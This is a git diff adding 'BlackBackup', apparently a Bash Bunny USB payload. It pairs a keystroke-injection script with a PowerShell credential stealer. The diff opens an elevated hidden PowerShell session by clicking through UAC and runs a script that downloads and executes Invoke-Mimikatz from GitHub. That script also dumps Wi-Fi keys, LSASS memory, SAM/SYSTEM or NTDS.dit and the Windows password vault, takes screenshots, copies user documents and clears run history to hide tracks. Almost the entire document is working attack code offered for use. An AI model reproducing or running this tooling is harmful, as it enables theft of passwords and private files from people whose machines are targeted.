diff --git a/payloads/library/BlackBackup/credentials.ps1 b/payloads/library/BlackBackup/credentials.ps1 new file mode 100644 index 0000000..45b8f78 --- /dev/null +++ b/payloads/library/BlackBackup/credentials.ps1 @@ -0,0 +1,560 @@ +#----------------------------------------------------------- +# CREDITS +#----------------------------------------------------------- +# Title: BlackBackup +# Author: JWHeuver & JBaselier +# Version: 1.0 + + + +#----------------------------------------------------------- +# MAKE SURE POWERSHELL CAN EXECUTE SCRIPTS +#----------------------------------------------------------- +powerShell set-executionpolicy remotesigned + + + +#----------------------------------------------------------- +# SCRIPT GENERAL VARIABLES +#----------------------------------------------------------- + +#Define script variables +$ErrorActionPreference = "SilentlyContinue" +$timeformat = Get-Date -Format yyyyMMddHHmmss +$hostname = $env:computername +$filetimestamp = $hostname+'_'+$timeformat + + + +#----------------------------------------------------------- +# CHECK-IN YOUR PAYLOADS +#----------------------------------------------------------- + +#Create SystemInfo file with basic computer configuration, keys and installed software: +#TOTAL (all payloads) Runtime +/- 150 sec. +#PARTIAL (no installed software in SYSTEMINFO payload AND only 1 HKCU registry hive backup) Runtime +/- 30 sec +#To activate payload set "Y" +#To deactivate payload set "N" + +$SYSTEMINFO = "Y" #+/- 30sec - Virusscanner Alarm: Low + $EXCLUDEINSTALLEDSOFTWARE = "Y" #If Y then SYSTEMINFO time is reduced to +/- 6sec + +$WIFIDUMPKEYS = "Y" #+/- 5sec - Virusscanner Alarm: Low + +$MIMIKATZDUMP = "Y" #+/- 5sec - Virusscanner Alarm: Medium + +$LSASSDUMP = "N" #+/- 6sec - Virusscanner Alarm: Low + +$TAKESCREENSHOT = "Y" #+/- 1sec - Virusscanner Alarm: Low + +$BACKUPREGISTRY = "Y" #+/- 120sec (Total time for complete backup) - Virusscanner Alarm: Low + $HKCU = "Y" #Backup hive: HKCU (HKEY_CURRENT_USER) +/- 5sec + $HKLM = "N" #Backup hive: HKLM (HKEY_LOCAL_MACHINE +/- 50sec + $HKCR = "N" #Backup hive: HKCR (HKEY_CLASSES_ROOT) +/- 50sec + $HKU = "N" #Backup hive: HKU (HKEY_USERS) +/- 5sec + $HKCC = "N" #Backup hive: HKCC (HKEY_CURRENT_CONFIG) +/- 1sec + +$BACKUPSAMSYSTEM = "N" #Y=yes N=no <> +/- 4sec - Virusscanner Alarm: High + +$PASSWORDVAULTDUMP = "Y" #Y=yes N=no <> +/- 4sec - Virusscanner Alarm: Low + +$CLEARTRACKS = "Y" #Y=yes N=no <> +/- 1sec - Virusscanner Alarm: Low + +$FILECOPY = "Y" #Y=yes N=no <> +/- 1sec - Virusscanner Alarm: Low + $CURRENTUSERDESKTOP = "N" #Check Desktop of current user for backup + $CURRENTUSERDOCUMENTS = "Y" #Check MyDocuments folder of current user for backup + $CURRENTUSERDOWNLOADS = "N" #Check Downloads folder of current user for backup + $CURRENTUSERIMAGES = "N" #Check Image folder of current user for backup + $CURRENTUSERFAVORITES = "N" #Check IE Favorites folder of current user for backup + $ALLFILESALLUSERS = "N" #Check global "User" forder for backup + $TEMP = "N" #Check TEMP folders for backup + $EXTENSION = ".pdf" #To copy a specific extension please add the extension in this variable. To copy all files just leave this variable empty (only quotes). + + + +#----------------------------------------------------------- +# CREATE BASIC LOOT DIR +#----------------------------------------------------------- +cd $PSScriptRoot +$LootDir = New-Item -ItemType directory -Force -Path "..\..\loot\BlackBackup\$filetimestamp" + + + +if ($SYSTEMINFO -eq "Y") { +#----------------------------------------------------------- +# CREATE BASIC SYSTEM INFORMATION +#----------------------------------------------------------- + +"BIOS Informatie:" >> "$LootDir\computer_info.txt" +Get-WmiObject -Class Win32_BIOS -ComputerName . >> "$LootDir\computer_info.txt" + +"Basic Computer Info:" >> "$LootDir\computer_info.txt" +Get-WmiObject -Class Win32_ComputerSystem >> "$LootDir\computer_info.txt" + +"Detailed Computer Info:" >> "$LootDir\computer_info.txt" +Get-CimInstance Win32_OperatingSystem | Select-Object Caption, Version, OSArchitecture, OSLanguage, OSType, OSProductSuite, ServicePackMajorVersion, ServicePackMinorVersion, SuiteMask, Buildnumber, CSName, RegisteredUser, SerialNumber, InstallDate, BootDevice, SystemDevice, SystemDirectory, SystemDrive, WindowsDirectory, LastBootUpTime, LocalDateTime, CountryCode, FreePhysicalMemory, FreeVirtualMemory, CurrentTimeZone, NumberOfProcesses, NumberOfUsers, DataExecutionPrevention_Available, DataExecutionPrevention_32BitApplications >> "$LootDir\computer_info.txt" + +"Windows Serial Key:" >> "$LootDir\computer_info.txt" +wmic path softwarelicensingservice get OA3xOriginalProductKey >> "$LootDir\computer_info.txt" + +"Office Version + Serial Key:" >> "$LootDir\computer_info.txt" +Try { + Switch ((Get-WmiObject Win32_Processor).AddressWidth) { + 32 {$Path = "hklm:\software\microsoft\office" } + 64 {$Path = "hklm:\software\Wow6432Node\microsoft\office"} + } + Get-ChildItem $Path -recurse -ea SilentlyContinue | Where-Object {(Get-ItemProperty -Path $_.PsPath -ea SilentlyContinue) -match "digitalproductid" -eq $True } | ForEach-Object {$MSRegKey = $_.PsPath} + $KeyRegValue = (Get-ItemProperty $MSRegKey).digitalproductid[52..66] + $ProductName = (Get-ItemProperty $MSRegKey).productname + $ProductId = (Get-ItemProperty $MSRegKey).productid + + # decrypt base24 encoded binary data + $ProductKey = "" + $chars = "BCDFGHJKMPQRTVWXY2346789" + for ($i = 24; $i -ge 0; $i--) { + $k = 0 + for ($j = 14; $j -ge 0; $j--) { + $k = ($k * 256) -bxor $KeyRegValue[$j] + $KeyRegValue[$j] = [math]::Truncate($k / 24) + $k = $k % 24 + } + $ProductKey = $chars[$k] + $ProductKey + if (($i % 5) -eq 0 -and $i -ne 0) { + $ProductKey = "-" + $ProductKey + } + } + Write-Host $ProductName + Write-Host "Product ID is" $ProductId + Write-Host "Product Key(license key) is" $ProductKey + Write-Host "Script Check passed" +} +Catch { + Write-Host "Script Check Failed" +} + +$ProductId >> "$LootDir\computer_info.txt" +$ProductKey >> "$LootDir\computer_info.txt" + +"Disk Space Info:" >> "$LootDir\computer_info.txt" +Get-WmiObject -Class Win32_LogicalDisk -Filter "DriveType=3" -ComputerName . >> "$LootDir\computer_info.txt" + +"Installed Hotfixes:" >> "$LootDir\computer_info.txt" +Get-WmiObject -Class Win32_QuickFixEngineering -ComputerName . >> "$LootDir\computer_info.txt" + +"Session Logon Information:" >> "$LootDir\computer_info.txt" +Get-WmiObject -Class Win32_LogonSession -ComputerName . >> "$LootDir\computer_info.txt" + +"Service Information:" >> "$LootDir\computer_info.txt" +Get-WmiObject -Class Win32_Service -ComputerName . | Format-Table -Property Status,Name,DisplayName -AutoSize -Wrap | FL >> "$LootDir\computer_info.txt" + +if ($EXCLUDEINSTALLEDSOFTWARE -eq "N") { +"Installed Software:" >> "$LootDir\computer_info.txt" +Get-WmiObject -Class Win32_Product | Select-Object -Property Name | Sort-Object Name >> "$LootDir\computer_info.txt" +} + +} + + +if ($WIFIDUMPKEYS -eq "Y") { +#----------------------------------------------------------- +# WIFI KEYS +#----------------------------------------------------------- + +#Show WLAN Profiles and export them to wlan_profiles.txt +$list = netsh wlan show profiles +$list | Out-File $LootDir\wlan_profiles.txt + +#Wait 2 seconds +Start-Sleep -m 2000 + +#Clean up wlan_profiles.txt and output cleaned file to wlan_networks.txt +Get-Content $LootDir\wlan_profiles.txt | Where-Object {$_ -match 'All User Profile'} | Set-Content $LootDir\wlan_networks2.txt +(Get-Content $LootDir\wlan_networks2.txt).replace(' All User Profile : ', '') | Set-Content $LootDir\wlan_networks.txt + + +#Add wlan_networks.txt to variable $WLANS +$WLANS = Get-Content $LootDir\wlan_networks.txt + +#Get all the details and add them to wlankeys_$filetimestamp.txt +ForEach ($entry in $WLANS) { +netsh wlan show profile name="$entry" key=clear | Out-File -Append $LootDir\wlankeys.txt +} + +#Delete Temp Files +del $LootDir\wlan_profiles.txt +del $LootDir\wlan_networks.txt +del $LootDir\wlan_networks2.txt +} + + + +if ($MIMIKATZDUMP -eq "Y") { +#----------------------------------------------------------- +# MIMIKATZ LOGON PASSWORDS +#----------------------------------------------------------- + +#Execute Mimikatz Browser Credentials +IEX (New-Object Net.WebClient).DownloadString('https://github.com/PowerShellMafia/PowerSploit/raw/master/Exfiltration/Invoke-Mimikatz.ps1');Invoke-Mimikatz >> $LootDir\credentials.txt +} + + + +if ($LSASSDUMP -eq "Y") { +#----------------------------------------------------------- +# WINDOWS PASSWORDS MEMORY LSASS DUMP +# All credits for this awesome script go to the creator of "Out-Minidump" - Matthew Graeber +#----------------------------------------------------------- + +function Memorydump +{ + [CmdletBinding()] + Param ( + [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True)] + [System.Diagnostics.Process] + $Process, + + [Parameter(Position = 1)] + [ValidateScript({ Test-Path $_ })] + [String] + $DumpFilePath = $PSScriptRoot + ) + + BEGIN + { + $WER = [PSObject].Assembly.GetType('System.Management.Automation.WindowsErrorReporting') + $WERNativeMethods = $WER.GetNestedType('NativeMethods', 'NonPublic') + $Flags = [Reflection.BindingFlags] 'NonPublic, Static' + $MiniDumpWriteDump = $WERNativeMethods.GetMethod('MiniDumpWriteDump', $Flags) + $MiniDumpWithFullMemory = [UInt32] 2 + } + + PROCESS + { + $ProcessId = $Process.Id + $ProcessName = $Process.Name + $ProcessHandle = $Process.Handle + $ProcessFileName = "$($ProcessName)_$($ProcessId).dmp" + + $ProcessDumpPath = Join-Path $DumpFilePath $ProcessFileName + + $FileStream = New-Object IO.FileStream($ProcessDumpPath, [IO.FileMode]::Create) + + $Result = $MiniDumpWriteDump.Invoke($null, @($ProcessHandle, + $ProcessId, + $FileStream.SafeFileHandle, + $MiniDumpWithFullMemory, + [IntPtr]::Zero, + [IntPtr]::Zero, + [IntPtr]::Zero)) + + $FileStream.Close() + + if (-not $Result) + { + $Exception = New-Object ComponentModel.Win32Exception + $ExceptionMessage = "$($Exception.Message) ($($ProcessName):$($ProcessId))" + + # Remove any partially written dump files. For example, a partial dump will be written + # in the case when 32-bit PowerShell tries to dump a 64-bit process. + Remove-Item $ProcessDumpPath -ErrorAction SilentlyContinue + + throw $ExceptionMessage + } + else + { + Get-ChildItem $ProcessDumpPath + } + } + + END {} +} + +Get-Process lsass | Memorydump + +#Wait 5 seconds +Start-Sleep -m 5000 + +Move-Item $PSScriptRoot\lsass*.dmp $LootDir\lsass.dmp +} + + + + +if ($TAKESCREENSHOT -eq "Y") { +#----------------------------------------------------------- +# TAKE SCREENSHOT +#----------------------------------------------------------- + +param( + [string]$Width, + [string]$Height, + [String]$FileName = "Screenshot" + +) + +#Function to take screenshot. This function takes the width and height of the screen that has +#to be captured + +function Take-Screenshot{ +[cmdletbinding()] +param( + [Drawing.Rectangle]$bounds, + [string]$path +) + $bmp = New-Object Drawing.Bitmap $bounds.width, $bounds.height + $graphics = [Drawing.Graphics]::FromImage($bmp) + $graphics.CopyFromScreen($bounds.Location, [Drawing.Point]::Empty, $bounds.size) + $bmp.Save($path) + $graphics.Dispose() + $bmp.Dispose() +} + +function Get-ScreenResolution { + $Screens = [system.windows.forms.screen]::AllScreens + foreach ($Screen in $Screens) { + $DeviceName = $Screen.DeviceName + $Width = $Screen.Bounds.Width + $Height = $Screen.Bounds.Height + $IsPrimary = $Screen.Primary + $OutputObj = New-Object -TypeName PSobject + $OutputObj | Add-Member -MemberType NoteProperty -Name DeviceName -Value $DeviceName + $OutputObj | Add-Member -MemberType NoteProperty -Name Width -Value $Width + $OutputObj | Add-Member -MemberType NoteProperty -Name Height -Value $Height + $OutputObj | Add-Member -MemberType NoteProperty -Name IsPrimaryMonitor -Value $IsPrimary + $OutputObj + } +} + +[void] [Reflection.Assembly]::LoadWithPartialName("System.Windows.Forms") +[void] [Reflection.Assembly]::LoadWithPartialName("System.Drawing") + +if(!($width -and $height)) { + + $screen = Get-ScreenResolution | ? {$_.IsPrimaryMonitor -eq $true} + $Width = $screen.Width + $Height = $screen.height +} + +$bounds = [Drawing.Rectangle]::FromLTRB(0, 0, $Screen.Width, $Screen.Height) + +Take-Screenshot -Bounds $bounds -Path "$LootDir\screenshot.png" +} + + + +if ($BACKUPREGISTRY -eq "Y") { +#----------------------------------------------------------- +# BACKUP REGISTRY +#----------------------------------------------------------- + +if ($HKCU -eq "Y") { +reg export HKCU $LootDir\HKCU-registry.reg +} + +if ($HKLM -eq "Y") { +reg export HKLM $LootDir\HKLM-registry.reg +} + +if ($HKCR -eq "Y") { +reg export HKCR $LootDir\HKCR-registry.reg +} + +if ($HKU -eq "Y") { +reg export HKU $LootDir\HKU-registry.reg +} + +if ($HKCC -eq "Y") { +reg export HKCC $LootDir\HKCC-registry.reg +} + +} + + +if ($BACKUPSAMSYSTEM -eq "Y") { +#----------------------------------------------------------- +# BACKUP SYSTEM and SAM or NTDS.dit +#----------------------------------------------------------- + +function Get-PasswordFile { + [CmdletBinding()] + Param + ( + [Parameter(Mandatory = $true, Position = 0)] + [ValidateScript({Test-Path $_ -PathType 'Container'})] + [ValidateNotNullOrEmpty()] + [String] + $DestinationPath + ) + + function Copy-RawItem + { + + [CmdletBinding()] + [OutputType([System.IO.FileSystemInfo])] + Param ( + [Parameter(Mandatory = $True, Position = 0)] + [ValidateNotNullOrEmpty()] + [String] + $Path, + + [Parameter(Mandatory = $True, Position = 1)] + [ValidateNotNullOrEmpty()] + [String] + $Destination, + + [Switch] + $FailIfExists + ) + + # Get a reference to the internal method - Microsoft.Win32.Win32Native.CopyFile() + $mscorlib = [AppDomain]::CurrentDomain.GetAssemblies() | ? {$_.Location -and ($_.Location.Split('\')[-1] -eq 'mscorlib.dll')} + $Win32Native = $mscorlib.GetType('Microsoft.Win32.Win32Native') + $CopyFileMethod = $Win32Native.GetMethod('CopyFile', ([Reflection.BindingFlags] 'NonPublic, Static')) + + # Perform the copy + $CopyResult = $CopyFileMethod.Invoke($null, @($Path, $Destination, ([Bool] $PSBoundParameters['FailIfExists']))) + + $HResult = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + + if ($CopyResult -eq $False -and $HResult -ne 0) + { + # An error occured. Display the Win32 error set by CopyFile + throw ( New-Object ComponentModel.Win32Exception ) + } + else + { + Write-Output (Get-ChildItem $Destination) + } + } + + #Check for admin rights + if (-NOT ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")) + { + Write-Error "Not running as admin. Run the script with elevated credentials" + Return + } + + #Get "vss" service startup type + $VssStartMode = (Get-WmiObject -Query "Select StartMode From Win32_Service Where Name='vss'").StartMode + if ($VssStartMode -eq "Disabled") {Set-Service vss -StartUpType Manual} + + #Get "vss" Service status and start it if not running + $VssStatus = (Get-Service vss).status + if ($VssStatus -ne "Running") {Start-Service vss} + + #Check to see if we are on a DC + $DomainRole = (Get-WmiObject Win32_ComputerSystem).DomainRole + $IsDC = $False + if ($DomainRole -gt 3) { + $IsDC = $True + $NTDSLocation = (Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\services\NTDS\Parameters)."DSA Database File" + $FileDrive = ($NTDSLocation).Substring(0,3) + } else {$FileDrive = $Env:HOMEDRIVE + '\'} + + #Create a volume shadow filedrive + $WmiClass = [WMICLASS]"root\cimv2:Win32_ShadowCopy" + $ShadowCopy = $WmiClass.create($FileDrive, "ClientAccessible") + $ReturnValue = $ShadowCopy.ReturnValue + + if ($ReturnValue -ne 0) { + Write-Error "Shadow copy failed with a value of $ReturnValue" + Return + } + + #Get the DeviceObject Address + $ShadowID = $ShadowCopy.ShadowID + $ShadowVolume = (Get-WmiObject Win32_ShadowCopy | Where-Object {$_.ID -eq $ShadowID}).DeviceObject + + #If not a DC, copy System and SAM to specified directory + if ($IsDC -ne $true) { + + $SamPath = Join-Path $ShadowVolume "\Windows\System32\Config\sam" + $SystemPath = Join-Path $ShadowVolume "\Windows\System32\Config\system" + + #Utilizes Copy-RawItem from Matt Graeber + Copy-RawItem $SamPath "$DestinationPath\sam" + Copy-RawItem $SystemPath "$DestinationPath\system" + } else { + + #Else copy the NTDS.dit and system files to the specified directory + $NTDSPath = Join-Path $ShadowVolume "\Windows\NTDS\NTDS.dit" + $SystemPath = Join-Path $ShadowVolume "\Windows\System32\Config\system" + + Copy-RawItem $NTDSPath "$DestinationPath\ntds" + Copy-RawItem $SystemPath "$DestinationPath\system" + } + + #Return "vss" service to previous state + If ($VssStatus -eq "Stopped") {Stop-Service vss} + If ($VssStartMode -eq "Disabled") {Set-Service vss -StartupType Disabled} +} + +Get-PasswordFile "$LootDir" + +} + + +if ($PASSWORDVAULTDUMP -eq "Y") { +#----------------------------------------------------------- +# EXPORT DATA IN WINDOWS PASSWORD VAULT +#----------------------------------------------------------- + +[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime] +$vault = New-Object Windows.Security.Credentials.PasswordVault +$vault.RetrieveAll() | % { $_.RetrievePassword();$_ } | select Resource, UserName, Password | Sort-Object Resource | ft -AutoSize >> "$LootDir\windowsvaultcredentials.txt" +} + + + +if ($FILECOPY -eq "Y") { +#----------------------------------------------------------- +# BACKUP USER FILES +#----------------------------------------------------------- + +#Create files directory +New-Item -ItemType directory -Force -Path $LootDir\FileBackup +$FileBackup = "$LootDir\FileBackup" + +if ($CURRENTUSERDESKTOP -eq "Y") { + Copy-Item -path "$env:USERPROFILE\Desktop\" -Filter "*$EXTENSION" -Recurse -Destination "$FileBackup" -Force +} + +if ($CURRENTUSERDOCUMENTS -eq "Y") { + Copy-Item -path "$env:USERPROFILE\Documents\" -Filter "*$EXTENSION" -Recurse -Destination "$FileBackup" -Force +} + +if ($CURRENTUSERDOWNLOADS -eq "Y") { + Copy-Item -path "$env:USERPROFILE\Documents\Downloads\" -Filter "*$EXTENSION" -Recurse -Destination "$FileBackup" -Force +} + +if ($CURRENTUSERIMAGES -eq "Y") { + Copy-Item -path "$env:USERPROFILE\Pictures\" -Filter "*$EXTENSION" -Recurse -Destination "$FileBackup" -Force +} + +if ($CURRENTUSERFAVORITES -eq "Y") { + Copy-Item -path "$env:USERPROFILE\Favorites\" -Filter "*$EXTENSION" -Recurse -Destination "$FileBackup" -Force +} + +if ($ALLFILESALLUSERS -eq "Y") { + Copy-Item -path "C:\Users\" -Filter "*$EXTENSION" -Recurse -Destination "$FileBackup" -Force +} + +if ($TEMP -eq "Y") { + Copy-Item -path "C:\Temp\" -Filter "*$EXTENSION" -Recurse -Destination "$FileBackup" -Force + Copy-Item -path "C:\Windows\Temp\" -Filter "*$EXTENSION" -Recurse -Destination "$FileBackup" -Force +} + +} + + + +if ($CLEARTRACKS -eq "Y") { +#----------------------------------------------------------- +# CLEAR TRACKS +#----------------------------------------------------------- + +Remove-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU' -Name '*' -ErrorAction SilentlyContinue +} + + + diff --git a/payloads/library/BlackBackup/payload.txt b/payloads/library/BlackBackup/payload.txt new file mode 100644 index 0000000..e7a8f9a --- /dev/null +++ b/payloads/library/BlackBackup/payload.txt @@ -0,0 +1,60 @@ +# Title: BlackBackup +# Author: JWHeuver & JBaselier +# Version: 1.0 +# +# Runs powershell script to get Wlan and logon credentials +# from computer and save them on USB drive (Storage attack) +# +# Purple.............Loading +# Green .............Execute Credential Ripper Powershell +# Off................Finished +# +#!/bin/bash + +# OPTIONS - More options available in the Powershell payload +OBFUSCATECMD="N" # Y=yes or N=no + +# Source bunny_helpers.sh to get environment variable and switch_positions +source bunny_helpers.sh + +#----------------------------------- +# Purple LED - initializing +LED R B 0 + +# Attackmode HID / Storage +ATTACKMODE HID STORAGE + +#----------------------------------- +# Green LED - executing credential_powershell +LED G 0 + +QUACK GUI r +QUACK DELAY 300 +QUACK STRING powershell Start-Process cmd -Verb runAs +QUACK ENTER +QUACK DELAY 4000 +QUACK ALT y +QUACK ALT j +QUACK ENTER +QUACK DELAY 1000 + +# Obfuscate CMD? +if [ $OBFUSCATECMD == "Y" ]; then + QUACK STRING mode con:cols=20 lines=1 + QUACK ENTER + QUACK DELAY 100 + QUACK STRING color FE + QUACK ENTER + QUACK DELAY 100 +fi + +# Execute Attack +QUACK STRING powerShell -windowstyle hidden -ExecutionPolicy Bypass ".((gwmi win32_volume -f 'label=''BashBunny''').Name+'payloads\\$SWITCH_POSITION\credentials.ps1')" +QUACK ENTER +QUACK DELAY 1000 +QUACK STRING exit +QUACK ENTER + +#----------------------------------- +# Kill the lights - finished +LED 0